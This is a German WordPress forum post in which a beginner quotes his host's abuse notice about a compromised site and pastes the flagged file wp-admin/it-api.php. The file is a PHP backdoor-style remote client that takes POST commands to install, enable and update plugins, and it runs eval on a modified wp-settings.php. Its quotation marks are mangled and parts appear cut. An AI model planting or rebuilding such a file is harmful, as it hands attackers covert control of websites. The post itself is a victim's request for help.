kompromittierte WordPress-Installation
-
Hallo.
Ich habe eine Nachricht von meinem Hoster (netcup) erhalten:
„Guten Tag …,
wir haben festgestellt, dass sich eine kompromittierte WordPress-Installation in Ihrem Produkt
befindet und für Angriffe auf andere Server missbraucht wird. Wir haben Ihren Account daher deaktiviert.Für Ihre notwendigen Wartungs- und Analysearbeiten können wir Ihr Produkt auf Wunsch für 30 Minuten freischalten. Bitte teilen Sie uns Ihren gewünschten Termin für die Freischaltung mit.
Eine Freischaltung kann Montag bis Freitag zwischen 10 und 18 Uhr erfolgen.
Um Ihren Webhostingaccount wieder aktivieren zu können, benötigen wir von Ihnen eine Stellungnahme, welche Sie über Ihr Kundencenter CCP unter https://www.customercontrolpanel.de an uns übermitteln können. Geben Sie darin bitte an, wie es zu dem Vorfall kam und welche Änderungen Sie aufgrund des Vorfalls vorgenommen haben. Sichern Sie uns in Ihrer Stellungnahme bitte desweiteren zu, dass kein erneuter Verstoß gegen die AGB erfolgen wird und alle schadhaften Dateien entfernt worden sind.
Weitere Informationen zum Vorgehen beim Erhalt einer Abusemeldung finden Sie hier in unserem Wiki: https://helpcenter.netcup.com/de/wiki/general/abuse-hinweise/“
Des Weiteren habe ich folgenden code migesendet bekommen:
========== Abusemeldung / Abuse report ==========
/var/www/vhosts/hosting205123.ae942.netcup.net/xn——-.de/httpdocs/wp-admin
it-api.php:16:@chdir(‚/mnt/web602/d3/05/535092005/htdocs/STRATO-apps/wordpress_01/app‘);$GLOBALS[„orig_max_execution_time“] = intval(ini_get(„max_execution_time“));if (function_exists(„set_time_limit“)) @set_time_limit(0);if (function_exists(„ini_set“)) @ini_set(„max_execution_time“, 0);if (function_exists(„ini_set“)) @ini_set(„memory_limit“, „1024M“);$GLOBALS[„_fileowner“] = fileowner(FILE);if (isset($_SERVER[„I_POST“])){parse_str($_SERVER[„I_POST“],$_GET);$_POST = $_REQUEST = array_merge($_GET,$_POST);}else if (empty($_REQUEST)){$_REQUEST = array_merge($_GET,$_POST);}set_error_handler(„i_client_error_handler“);$GLOBALS[„__i_client_error_stack“] = array();function __i_client_error_handler($errno, $errstr, $errfile, $errline){if (!(error_reporting() & $errno)){return;}switch ($errno){case E_ERROR:case E_USER_ERROR:$GLOBALS[„__i_client_error_stack“][] = „Error: „.$errstr.“ in „.$errfile.“[$errline] (PHP „.PHP_VERSION.“ „.PHP_OS.“)“;echo ‚__CLIENT__RESPONCE__START‚.serialize(array(false,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END„;exit;break;case E_WARNING:case E_USER_WARNING:$doSkipLog = strpos($errstr,“Permission denied“) !== false && strpos($errstr,“unlink(„) !== false|| strpos($errstr,“chmod(): Operation not permitted“) !== false|| strpos($errstr,“wp-content/plugins“) !== false;if (!$doSkipLog){$GLOBALS[„i_client_error_stack“][] = $errstr.“ in „.$errfile.“[$errline] (PHP „.PHP_VERSION.“ „.PHP_OS.“)“;}break;}return true;}function __i_client_shutdown() {if (function_exists(„error_get_last“)){$a = error_get_last();if ( $a !== null && $a[„type“] === 1 ){$GLOBALS[„__i_client_error_stack“][] = „Fatal Error: „.$a[„message“].“ in „.$a[„file“].“[„.$a[„line“].“]“;echo ‚__CLIENT__RESPONCE__START‚.serialize(array(false,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END„;}}} register_shutdown_function(„i_client_shutdown“);?>‘.serialize(array(„I_ACCESS_DENIED“,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;exit;}define(„ABSPATH“, dirname(FILE).“/“);if ( !file_exists(ABSPATH.“wp-settings.php“) || !file_exists(ABSPATH.“wp-config.php“) ){echo ‚CLIENT__RESPONCE__START‘.serialize(array(„I_ACCESS_DENIED“,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;exit;}define(„SHORTINIT“, true);include_once(ABSPATH.“wp-config.php“);eval(preg_replace(array(„/^.+ifs(sSHORTINITs*)/ms“, „/(?:wp_get_mu_plugins|wp_get_active_network_plugins|wp_get_active_and_valid_plugins|wp_get_active_and_valid_themes)()/“), array(„if(false)“, „array()“), file_get_contents(ABSPATH.“wp-settings.php“)));if ( $_POST[„cmd“] === „list“ ){include_once(ABSPATH.“wp-admin/includes/file.php“);include_once(ABSPATH.“wp-admin/includes/plugin.php“);include_once(ABSPATH.“wp-admin/includes/theme.php“);include_once(ABSPATH.“wp-admin/includes/misc.php“);include_once(ABSPATH.“wp-admin/includes/template.php“);include_once(ABSPATH.“wp-admin/includes/class-wp-upgrader.php“);include_once(ABSPATH.“wp-includes/update.php“);include(ABSPATH.“wp-includes/version.php“);$current = get_transient(„update_plugins“);if (!is_object($current)){$current = new stdClass;}$current->last_checked = 0;set_transient(„update_plugins“, $current);@wp_update_plugins();$o = array(array(), array(), $wp_version);$ood = get_site_transient(„update_plugins“);foreach ( get_plugins() as $fn => $r ){$i = strpos($fn, „/“) === false ? basename($fn, „.php“) : dirname($fn);$o[0][$i] = $r;$o[0][$i][„_plugin“] = $fn;$o[0][$i][„_enabled“] = is_plugin_active($fn);if ( isset($ood->response[$fn]) && isset($ood->response[$fn]->id) && isset($ood->response[$fn]->package) ){$o[0][$i][„_ud“] = array(„id“ => $ood->response[$fn]->id,“slug“ => $ood->response[$fn]->slug,“new_version“ => $ood->response[$fn]->new_version,“url“ => $ood->response[$fn]->url,“package“ => $ood->response[$fn]->package);}}$current = get_transient(„update_themes“);if (!is_object($current)){$current = new stdClass;}$current->last_checked = 0;set_transient(„update_themes“, $current);@wp_update_themes();$ood = get_site_transient(„update_themes“);$currentTheme = get_stylesheet();foreach ( wp_get_themes() as $i => $r ){$o[1][$i] = array(„Name“ => $r->get(„Name“),“Title“ => $r->get(„Name“),“Version“ => $r->get(„Version“),“Author“ => $r->get(„Author“),“Author URI“ => $r->get(„AuthorURI“),“Template“ => $r->get_template(),“Stylesheet“ => $r->get_stylesheet(),“_plugin“ => $i,“_enabled“ => $currentTheme === $i);if (isset($ood->response[$i])){$o[1][$i][„_ud“] = $ood->response[$i];}}while (@ob_end_flush());echo ‚CLIENT__RESPONCE__START‘.serialize(array($o,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}else if ( $_POST[„cmd“] === „install-plugin“ ){include_once(ABSPATH.“wp-admin/includes/file.php“);include_once(ABSPATH.“wp-admin/includes/plugin.php“);include_once(ABSPATH.“wp-admin/includes/theme.php“);include_once(ABSPATH.“wp-admin/includes/misc.php“);include_once(ABSPATH.“wp-admin/includes/template.php“);include_once(ABSPATH.“wp-admin/includes/plugin-install.php“);include_once(ABSPATH.“wp-admin/includes/class-wp-upgrader.php“);include_once(ABSPATH.“wp-admin/includes/class-wp-ajax-upgrader-skin.php“);include_once(ABSPATH.“wp-admin/includes/class-plugin-upgrader.php“);$api = plugins_api(„plugin_information“,array(„slug“ => $_POST[„id“],“fields“ => array(„short_description“ => false,“sections“ => false,“requires“ => false,“rating“ => false,“ratings“ => false,“downloaded“ => false,“last_updated“ => false,“added“ => false,“tags“ => false,“compatibility“ => false,“homepage“ => false,“donate_link“ => false)));$skin = new WP_Ajax_Upgrader_Skin();$upgrader = new Plugin_Upgrader($skin);if ( $upgrader->install($api->download_link) !== true ){echo ‚CLIENT__RESPONCE__START‘.serialize(array(is_wp_error($upgrader->result) ? $upgrader->result->get_error_message() : false,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}if (isset($_POST[„enable“])){foreach ( get_plugins() as $fn => $r ){$i = strpos($fn, „/“) === false ? basename($fn, „.php“) : dirname($fn);if ( $_POST[„id“] === $i ){activate_plugin($fn);break;}}}echo ‚CLIENT__RESPONCE__START‘.serialize(array(true,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}else if ( $_POST[„cmd“] === „enable-plugin“ ){include_once(ABSPATH.“wp-admin/includes/file.php“);include_once(ABSPATH.“wp-admin/includes/plugin.php“);include_once(ABSPATH.“wp-admin/includes/theme.php“);include_once(ABSPATH.“wp-admin/includes/misc.php“);include_once(ABSPATH.“wp-admin/includes/template.php“);$requestList = is_array($_POST[„id“]) ? $_POST[„id“] : array($_POST[„id“]);$list = array();foreach ( get_plugins() as $fn => $r ){$i = strpos($fn, „/“) === false ? basename($fn, „.php“) : dirname($fn);foreach ( $requestList as $requestId ){if ( $requestId === $i ){$list[] = $fn;break;}}}activate_plugins($list);echo ‚CLIENT__RESPONCE__START‘.serialize(array(true,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}else if ( $_POST[„cmd“] === „update-plugin“ ){include_once(ABSPATH.“wp-admin/includes/file.php“);include_once(ABSPATH.“wp-admin/includes/plugin.php“);include_once(ABSPATH.“wp-admin/includes/theme.php“);include_once(ABSPATH.“wp-admin/includes/misc.php“);include_once(ABSPATH.“wp-admin/includes/template.php“);include_once(ABSPATH.“wp-admin/includes/class-wp-upgrader.php“);include_once(ABSPATH.“wp-includes/update.php“);if ( !class_exists(„Plugin_Upgrader“) || !class_exists(„Bulk_Plugin_Upgrader_Skin“) ){echo ‚CLIENT__RESPONCE__START‘.serialize(array(2,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;exit;}$plugins = $_POST[„id“];$skin = new Automatic_Upgrader_Skin();$upgrader = new Plugin_Upgrader($skin);$result = $upgrader->bulk_upgrade($plugins);$messages = $upgrader->skin->get_upgrade_messages();@wp_update_plugins();echo ‚CLIENT__RESPONCE__START‘.serialize(array($result,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}else if ( $_POST[„cmd“] === „disable-plugin“ ){include_once(ABSPATH.“wp-admin/includes/file.php“);include_once(ABSPATH.“wp-admin/includes/plugin.php“);include_once(ABSPATH.“wp-admin/includes/theme.php“);include_once(ABSPATH.“wp-admin/includes/misc.php“);include_once(ABSPATH.“wp-admin/includes/template.php“);$list = is_array($_POST[„id“]) ? $_POST[„id“] : array($_POST[„id“]);deactivate_plugins($list);echo ‚CLIENT__RESPONCE__START‘.serialize(array(true,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}else if ( $_POST[„cmd“] === „update-theme“ ){include_once(ABSPATH.“wp-admin/includes/file.php“);include_once(ABSPATH.“wp-admin/includes/plugin.php“);include_once(ABSPATH.“wp-admin/includes/theme.php“);include_once(ABSPATH.“wp-admin/includes/misc.php“);include_once(ABSPATH.“wp-admin/includes/template.php“);include_once(ABSPATH.“wp-admin/includes/class-wp-upgrader.php“);include_once(ABSPATH.“wp-includes/update.php“);if ( !class_exists(„Theme_Upgrader“) || !class_exists(„Bulk_Theme_Upgrader_Skin“) ){echo ‚CLIENT__RESPONCE__START‘.serialize(array(2,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;exit;}$themes = $_POST[„id“];$skin = new Automatic_Upgrader_Skin();$upgrader = new Theme_Upgrader($skin);$result = $upgrader->bulk_upgrade($themes);$messages = $upgrader->skin->get_upgrade_messages();@wp_update_themes();echo ‚CLIENT__RESPONCE__START‘.serialize(array($result,$GLOBALS[„i_client_error_stack“])).“__CLIENT__RESPONCE__END“;}?>Kann mir jemand erklären, was ich genau tun muss?
Bin absoluter Anfänger und kenne ich sehr wenig mit WordPress aus.Vielen Dank im Voraus.
Mit freundlichen Grüßen
Paul
Moderatorenhinweis: Ich habe die URL sicherheitshalber gelöscht.
Du musst angemeldet sein, um auf dieses Thema zu antworten.